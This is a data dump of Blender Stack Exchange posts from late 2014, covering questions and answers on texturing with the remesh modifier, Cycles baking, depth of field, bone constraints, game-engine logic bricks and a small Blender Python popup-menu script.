  <row Id="18373" PostTypeId="1" CreationDate="2014-10-30T15:40:57.127" Score="2" ViewCount="49" Body="&lt;p&gt;I am wondering if it is possible to have a bit of code run whenever an object is deleted. Looking around I haven't seen anything that really suggests that it is possible except for maybe a &lt;strong&gt;modal&lt;/strong&gt; operator. Is it possible, and if so how would one go about doing it.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-10-30T17:12:12.823" Title="Event that runs when object is deleted" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-10-30T21:25:00.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="18374" PostTypeId="1" CreationDate="2014-10-30T15:51:23.683" Score="2" ViewCount="667" Body="&lt;p&gt;I would like to make hotkey for this list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/1MErXry&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/1MErXry.jpg&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/FBx4uiV&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/FBx4uiV.jpg&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I should do?&lt;/p&gt;&#xA;" OwnerUserId="7780" LastEditorUserId="2217" LastEditDate="2014-10-30T16:33:42.227" LastActivityDate="2014-10-30T18:21:15.113" Title="How to get python reference for a menu?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18376" PostTypeId="1" CreationDate="2014-10-30T17:02:53.807" Score="4" ViewCount="2013" Body="&lt;p&gt;I find the remesh modifier &lt;em&gt;very&lt;/em&gt; useful when placed above a displacement modifier in the modifier stack.  It saves the trouble of having to add loop cuts all over the place to get &lt;strong&gt;square faces&lt;/strong&gt;.  And then I can also edit the mesh fluidly without having to dissolve and replace zillions of loop cuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the only problem is that the remesh modifier eliminates all UV mapping I have done on the model.  I can use &lt;em&gt;object&lt;/em&gt; mapping coordinates for boxy models but for non-squarish models, or when using a strongly patterned texture this does not work at all.  This especially does not work on cylindrical objects (most often wood logs or trees), which is where the remesh modifier is the most valuable.  With remesh I can lengthen/shorten the cylinder by simply moving its end face without having to dissolve all the loop cuts and add them again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples on a simple building-like model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With no modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k8z05.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With remesh (desired result):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9Q22.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With subsurf, notice quads are not evenly sized or squares:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0yhKY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for other mapping techniques that work with remesh would be great.  I am also open to alternatives to remesh that accomplish a similar goal of creating even square faces as I use this technique a lot.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-10-31T22:22:35.780" LastActivityDate="2014-10-31T22:22:35.780" Title="Texturing with remesh modifier" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;modifiers&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18377" PostTypeId="2" ParentId="18376" CreationDate="2014-10-30T17:10:11.660" Score="4" Body="&lt;p&gt;If you're only using the Remesh modifier with the purposes of subdividing the model then the 'Subdivision Surface' modifier set to 'Simple' subdivision will probably be better. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will subdivide the object in a similar manner to doing &lt;kbd&gt;W&lt;/kbd&gt;&gt; Subdivide in edit mode, but will not change the shape of the object like the default 'Subdivision Surface' modifier will:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qr8v2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least on a simple test, it doesn't seem to distort the UVs and leaves them intact.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-10-30T17:10:11.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18378" PostTypeId="2" ParentId="18362" CreationDate="2014-10-30T17:33:22.410" Score="2" Body="&lt;p&gt;First, in order to create the unified UV-Map, you need to combine all the separate objects into a single mesh object by selecting them all and then pressing &quot;CTRL + J&quot; on your keyboard to join them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They will still have individual materials assigned and, but now you can create a UV map for the whole object. If you want to tweak the material settings later on you can go into edit mode and open the materials tab in the properties panel.&#xA;If you want to separate the objects again, press &quot;P&quot; in edit mode and separate the objects &quot;By loose parts&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you select the parts of the mesh where you want to change the material (when you press &quot;L&quot; you can select all the faces that are connected to your selection, useful for selecting previously unjoined parts of the mesh) and in the materials tab you select a material from the list. To assign the material just press &quot;Assign&quot; underneath the materials list.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now to create the diffuse map you need to &quot;bake&quot; the diffuse color into a texture. I will try to explain the process using the Cycles engine (because your render looks like that's what you are using), but I'll try to keep it short. If you need further details, either comment on this answer or search for yourself (just look up &quot;cycles baking&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to bake the texture you have to have the UV-unwrapped model with all the materials assigned.&#xA;When that that is all prepared,  you need to go into the node editor and make some changes to your materials:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each material you need to add a new Image Texture node and connect a UV-Map node to it. This Image Texture will be used exclusively for baking. You have to assign a texture to the Image Texture node(this will be your baked map). To assign the texture you have to create it first: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into the UV/Image Editor and click new (or the &quot;plus&quot; symbol next to the texture selection menu). A popup will appear where you can give your texture a name and set the resolution. When you have created the texture you go back to the node editor and assign the newly created texture to each of your material's Image Texture nodes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Before you go on to baking, make sure that, in each material, you have selected your Texture-node containing the bake-map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, to bake the diffuse colors, you go to the render tab in the properties panel and scroll all the way down until you see the bake menu. There you can set the type of data to bake (go ahead and change it to &quot;Diffuse color&quot;) and, among others, a Margin setting. If you are having problems with jagged edges on you textured model, or if your different UVs are very close to each other so that the baked texture overlaps in some places, you can turn this value up or down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have made all the changes you want, make sure to check again, that the right texture is selected in the materials (selecting a different texture will overwrite it and possibly destroy data) and you can press the &quot;Bake&quot; button. Depending on the complexity of the object and the resolution of the texture, baking might take a while, but when it's finished, you should have a full diffuse map for your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To bake the specularity map you need to create a new texture and change all the Image Texture nodes to bake onto that texture. In the baking options simply change the data type to &quot;Glossy Color&quot; and bake again.&lt;/p&gt;&#xA;" OwnerUserId="6310" LastActivityDate="2014-10-30T17:33:22.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18379" PostTypeId="2" ParentId="18374" CreationDate="2014-10-30T18:21:15.113" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Switch to &lt;em&gt;Scripting&lt;/em&gt; screen&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; on &lt;em&gt;Brush&lt;/em&gt; and click &lt;em&gt;Edit Source&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cursor will be located in this line: &lt;code&gt;layout.menu(&quot;VIEW3D_MT_brush&quot;)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Search for &lt;code&gt;VIEW3D_MT_brush&lt;/code&gt; in the file (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;, you may need to enable &lt;em&gt;Wrap&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;You will find the &lt;code&gt;class VIEW3D_MT_brush(Menu): ...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Scroll down a bit and locate &lt;code&gt;Curve Presets&lt;/code&gt;, the code line is&lt;br&gt;&lt;code&gt;layout.operator_menu_enum(&quot;brush.curve_preset&quot;, &quot;shape&quot;, text=&quot;Curve Preset&quot;)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As you can see, there's actually no menu, but an enum property that is displayed like a menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you can't use &lt;code&gt;bpy.ops.wm.call_menu()&lt;/code&gt;. If you use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.types.UILayout.html#bpy.types.UILayout.operator_enum&quot; rel=&quot;nofollow&quot;&gt;UILayout.operator_enum()&lt;/a&gt; in the draw function for &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.types.WindowManager.html#bpy.types.WindowManager.popup_menu&quot; rel=&quot;nofollow&quot;&gt;WindowManager.popup_menu()&lt;/a&gt; and wrap that call in an operator, it is possible to show the presets like a menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;def draw_func(self, context):&#xA;    layout = self.layout&#xA;    layout.operator_enum(&quot;brush.curve_preset&quot;, &quot;shape&quot;)&#xA;&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.object is not None&#xA;&#xA;    def execute(self, context):&#xA;        wm = bpy.context.window_manager&#xA;        wm.popup_menu(draw_func, title=&quot;Curve Preset&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.simple_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to set up keymaps is covered here, if you want to let the script do that itself:&lt;br&gt; &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/info_tutorial_addon.html#keymap&quot; rel=&quot;nofollow&quot;&gt;Addon Tutorial #Keymaps&lt;/a&gt; (you should make your script an addon in order to use keymaps)&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-10-30T18:21:15.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18380" PostTypeId="1" AcceptedAnswerId="18383" CreationDate="2014-10-30T18:31:56.627" Score="8" ViewCount="1600" Body="&lt;p&gt;I would like to distort the gradient like the red lines in the image below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PW8IC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6220" LastEditorDisplayName="user1853" LastEditDate="2014-10-31T03:26:04.353" LastActivityDate="2014-10-31T03:26:04.353" Title="How can I distort a gradient along an axis?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18381" PostTypeId="1" CreationDate="2014-10-30T18:49:25.973" Score="0" ViewCount="887" Body="&lt;p&gt;Let's say I have some faces on the same plane that are part of a larger object and I only want to scale their individual median points outwards &lt;em&gt;without deforming them&lt;/em&gt;. How do I achieve that? I noticed that there is the option &quot;manipulate center points&quot; but unfortunately that only exists in object mode.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2014-10-31T03:43:24.287" Title="How to manipulate individual median points in edit mode?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18382" PostTypeId="1" AcceptedAnswerId="18410" CreationDate="2014-10-30T18:54:47.787" Score="4" ViewCount="727" Body="&lt;p&gt;How can I create a &quot;Toggle Switch Sensor&quot;, so when I press &lt;kbd&gt;W&lt;/kbd&gt; to move a cube continuously on the Y axis, and &lt;kbd&gt;S&lt;/kbd&gt; to stop the movement?&#xA;Can I do it from logic bricks?&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="5426" LastEditDate="2015-01-12T00:54:23.767" LastActivityDate="2015-04-02T18:54:02.273" Title="BGE Move Toggle Switch Sensor" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18383" PostTypeId="2" ParentId="18380" CreationDate="2014-10-30T19:19:22.423" Score="15" Body="&lt;p&gt;You can use a &lt;strong&gt;Noise Textures Fac&lt;/strong&gt; as input to the texture coordinates of the &lt;strong&gt;Gradient Texture&lt;/strong&gt; to get some smooth random distortion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0XK0g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-10-30T19:19:22.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18385" PostTypeId="1" AcceptedAnswerId="18441" CreationDate="2014-10-30T21:21:35.317" Score="2" ViewCount="680" Body="&lt;p&gt;This is the setup.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blue Slider.&lt;/li&gt;&#xA;&lt;li&gt;Green cube with array modifier.&lt;/li&gt;&#xA;&lt;li&gt;Red cube.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Blue slider drives the Green cube's array property count when moved up/down and works perfect.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XAGsb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red box is set to move its location to the green box's &lt;code&gt;location.x+dimension[0]&lt;/code&gt;.&#xA;If I resize the green box or move it, the red cube is following the green box's end correctly (&lt;code&gt;location.x+dimension[0]&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s2xVZ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;However, If I change the Green box's count property in the Array modifier (with or without Blue slider driver), the red box's location isn't updated at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To update it I have to set the cursor in the drivers Expression box and press &lt;kbd&gt;Enter&lt;/kbd&gt;. It seems like the driver isn't triggered when the array count property changes the cube's dimension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to fix this?&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="2217" LastEditDate="2014-10-31T19:24:11.043" LastActivityDate="2014-11-02T11:26:04.017" Title="Driver not updated on dimension changes" Tags="&lt;modifiers&gt;&lt;objects&gt;&lt;drivers&gt;&lt;dimensions&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18386" PostTypeId="1" CreationDate="2014-10-31T00:06:12.317" Score="6" ViewCount="2904" Body="&lt;p&gt;I'm creating some studio-shot style images of products. I'm trying to get the foreground elements in focus while having the background blur slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a lot of real world studio photography and I know that depth of focus and depth of field are two different parameters (though frequently confused). Put simply, depth of field references the precise centre of the plane of focus as parallel to the image plane, while depth of focus reference the sum of the distance on either side of this plane that remains in focus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But 2.6x only seems to offer control of the depth of field, so that only that exact plane is in focus, and everything either side gradually defocusses. Or am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is, I want to know if there is a way to control the z-depth of the area in focus, not just it's distance from the camera.&lt;/p&gt;&#xA;" OwnerUserId="7787" LastActivityDate="2017-02-09T22:24:48.053" Title="Can I control depth of focus (v depth deph of field)" Tags="&lt;depth-of-field&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18387" PostTypeId="2" ParentId="18386" CreationDate="2014-10-31T00:40:35.503" Score="3" Body="&lt;p&gt;You can find it under the camera property.&#xA;Select the camera and go to the camera tab.&#xA;There is a panel named &amp;quot;Depth Of Field&amp;quot;. Either select an object to be your focal point or set the distance.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Set Focal length and radius (f/stops) to adjust the depth.&lt;/em&gt;&#xA;Here with Radius 0.06&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ycf0I.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;...and here with radius 0.3&#xA;&lt;img src=&quot;https://i.stack.imgur.com/miomR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;From one photographer to another, as you know the Focal length and f/stop produce the DOF effect. Same in Blender where F/stop is better expressed in radius.&lt;/p&gt;&#xA;&lt;p&gt;You can of course use F/stop instead of radius but don't forget to change the focal length, otherwise you will have to use ridiculously small F/stops. :D&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-02-09T22:24:48.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18388" PostTypeId="2" ParentId="18382" CreationDate="2014-10-31T01:28:19.353" Score="4" Body="&lt;p&gt;It is possible to do this using a &lt;em&gt;Boolean&lt;/em&gt; property and changing it using the toggle option, but it is easier to simply assign an integer a value. A Property Sensor set to pulse mode (to continually check to see if the value is still equal) and that activates your motion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FZ0BD.png&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;C#12 It&amp;#39;s all in the grey&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FZ0BD.png&quot; alt=&quot;logic bricks&quot; title=&quot;C#12 It&amp;#39;s all in the grey&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file with working logic setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/93/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=93&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;![enter image description here][3]&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-04-02T18:54:02.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18389" PostTypeId="1" AcceptedAnswerId="18400" CreationDate="2014-10-31T01:41:41.650" Score="1" ViewCount="647" Body="&lt;p&gt;I have a &lt;code&gt;cube&lt;/code&gt; which is not rotated. And I have a &lt;code&gt;bone&lt;/code&gt; that I want to add a copy rotation constraints where the target will be the &lt;code&gt;cube&lt;/code&gt;. The problem is that when I add this constraint the bone is rotated in a wrong direction, as normally it should point to the &lt;code&gt;x-direction&lt;/code&gt; but when I I make the copy rotation it points to the &lt;code&gt;y-direction&lt;/code&gt;. If anyone could please advise why this is happening. I added screenshots below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before copy rotation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/94bSn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cube properties showing there is no rotation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/075Qo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after copy rotation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vAZOe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy rotation constraint&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8iFwP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After applying rotation -90 in x-direction the axis was good in edit mode, but once switching to pose mode the axis is wrong&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After applying -90 in x-direction in edit mode:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fFODP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After applying -90 in x-direction in pose mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dWwJB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is after adding the copy rotation constraint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dv7Jt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="2517" LastEditDate="2014-11-01T07:07:44.473" LastActivityDate="2014-11-01T07:07:44.473" Title="Bone constraints not applied correctly" Tags="&lt;animation&gt;&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18390" PostTypeId="2" ParentId="18381" CreationDate="2014-10-31T03:43:24.287" Score="1" Body="&lt;p&gt;From what I can tell from your rather unclear question, what you are looking for is the pivot point menu.&#xA;Select individual origins after selecting your faces, then you will be able to scale the faces around their center pivot point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Select Individual Origins&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QPk7h.png&quot; alt=&quot;PivotPointMenu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using the default Median Point method&lt;/strong&gt;&#xA;&lt;em&gt;(scales around the net center of all selected faces)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EF8t8.png&quot; alt=&quot;MedianPoint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using the Individual Origins method&lt;/strong&gt;&#xA;&lt;em&gt;(scales around the individual faces origins)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QjC5n.png&quot; alt=&quot;IndividualOrigins&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not what you were looking for, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-10-31T03:43:24.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18392" PostTypeId="1" CreationDate="2014-10-31T06:31:29.420" Score="2" ViewCount="527" Body="&lt;p&gt;I have a slow pc with no GPU, and I want to know the &lt;strong&gt;best way to dissolve into particles a moving person on a RGBA video footage (using BI).&lt;/strong&gt; Take into account that a &lt;strong&gt;wind&lt;/strong&gt; simulator should be used with a wipe blend texture to trigger gradually the effect of this gone with the wind dude.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By best way I mean nice &lt;strong&gt;performance&lt;/strong&gt; on slow pc.&#xA;&lt;strong&gt;Low RAM and disk consumption&lt;/strong&gt;. Nice look n feel, each particle has to carry the color of the position it had on the victim person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made some other related questions before but I give up my current approach. At the moment my attempts were visually successful but render times went to hell and blender became very unusable while editing the scene so I lost control over the quality and the animation of my physics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;High ammount of subsurf levels and particle number are no good. Theorethically using less subsurf, less particle number and raise the children or trail ammount and use something like billboards may do but I can't reach that glory yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Core2Duo with 5GB RAM using Win8 or Lubuntu. Blender 2.70.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you can help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what I'm looking to achieve in the animation:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WXrwM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WXrwM.jpg&quot; alt=&quot;Sandstorm-like particle disolve example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7686" LastEditorUserId="7686" LastEditDate="2015-11-18T15:02:29.213" LastActivityDate="2015-11-18T15:02:29.213" Title="How to dissolve into particles a moving person on a RGBA video footage (using BI)" Tags="&lt;particles&gt;&lt;blender-internal-render-engine&gt;&lt;video&gt;" AnswerCount="0" CommentCount="11" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18393" PostTypeId="1" CreationDate="2014-10-31T09:22:10.570" Score="3" ViewCount="2318" Body="&lt;p&gt;Well I succeeded in creating a realistic volume atmosphere &lt;a href=&quot;https://blender.stackexchange.com/questions/7509/atmosphere-rayleigh-mie-scattering-in-cycles/15821#15821&quot;&gt;(method here, for those who are curious)&lt;/a&gt;, but I am unable to create 3D clouds. I wanted to use the clouds as a density map for a volume material. Unfortunately, the volumes only respond to 3D procedural textures. Is there any way to get 3D clouds that appear to move around the planet in jet streams? Similar to the cloud map below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UQ1ia.png&quot; alt=&quot;Cloud density map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8CBwj.png&quot; alt=&quot;See clouds in the planet&amp;#39;s southern hemisphere, below the rings and to the right of the moon&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3254" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-03-08T21:46:20.993" Title="3D Volumetric Planetary Clouds in Cycles?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18394" PostTypeId="2" ParentId="18274" CreationDate="2014-10-31T09:56:22.463" Score="1" Body="&lt;p&gt;It was the rig all along , The wrist bone was placed back at the elbow! , So i extruded a bone from the tip of the middle finger and used that , it had proper scaling and rotation.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2014-10-31T09:56:22.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18395" PostTypeId="1" AcceptedAnswerId="70812" CreationDate="2014-10-31T10:20:40.080" Score="5" ViewCount="20145" Body="&lt;p&gt;I need a way to export a specific model from my Blender scene (for example a textured table) and import it in an already created scene in Maya.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example case to be more specific:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a classroom in Maya and a bedroom in Blender. I want to export the desk I created in Blender and import it as a desk in Maya. How can that be achieved?&lt;/p&gt;&#xA;" OwnerUserId="6375" LastActivityDate="2017-01-08T11:34:45.100" Title="How do I export an object from blender and import in Maya?" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18396" PostTypeId="1" CreationDate="2014-10-31T10:39:31.660" Score="2" ViewCount="3947" Body="&lt;p&gt;I'm using Blender to create custom TF2 taunts. Basically it is just an animation. I imported the animation and I wanted to change something. I selected pose editing, then copied and pasted the pose, and after about 8 frames changed the animation. The thing is, that I got the change only on one frame. How can I fix that?&lt;/p&gt;&#xA;" OwnerUserId="7789" LastEditorUserId="2217" LastEditDate="2014-10-31T19:25:46.847" LastActivityDate="2014-10-31T19:25:46.847" Title="How can I edit a imported animation?" Tags="&lt;animation&gt;&lt;editing&gt;&lt;import&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
